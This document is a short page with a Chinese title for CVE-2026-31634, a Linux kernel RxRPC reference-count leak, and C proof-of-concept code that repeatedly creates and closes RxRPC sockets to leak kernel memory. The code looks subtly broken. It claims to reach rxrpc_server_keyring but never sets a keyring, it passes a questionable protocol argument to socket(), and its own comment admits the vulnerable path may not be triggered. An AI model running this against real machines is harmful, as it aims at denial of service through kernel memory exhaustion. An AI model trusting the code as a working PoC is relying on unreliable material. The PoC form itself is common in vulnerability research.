CVE-2026-31634 Linux内核RxRPC引用计数泄漏漏洞

/* * PoC for CVE-2026-31634: Linux Kernel RxRPC Reference Count Leak * This code attempts to trigger the vulnerability by repeatedly creating * and manipulating RxRPC sockets, which calls rxrpc_server_keyring. * Compile: gcc -o poc_rxrpc poc_rxrpc.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/rxrpc.h> int main() { int sock, i; printf("[*] Starting PoC for CVE-2026-31634...\n"); // Loop to trigger the leak multiple times for (i = 0; i < 10000; i++) { // Create an RxRPC socket sock = socket(AF_RXRPC, SOCK_DGRAM, AF_RXRPC); if (sock < 0) { perror("socket"); sleep(1); continue; } // Attempting to use the socket to trigger server keyring logic // Note: Triggering the exact path may depend on specific kernel // configuration or additional ioctls, but socket creation // exercises the RxRPC subsystem initialization. close(sock); if (i % 1000 == 0) { printf("[*] Iteration %d completed.\n", i); } } printf("[*] PoC finished. Check kernel memory usage for leaks.\n"); return 0; }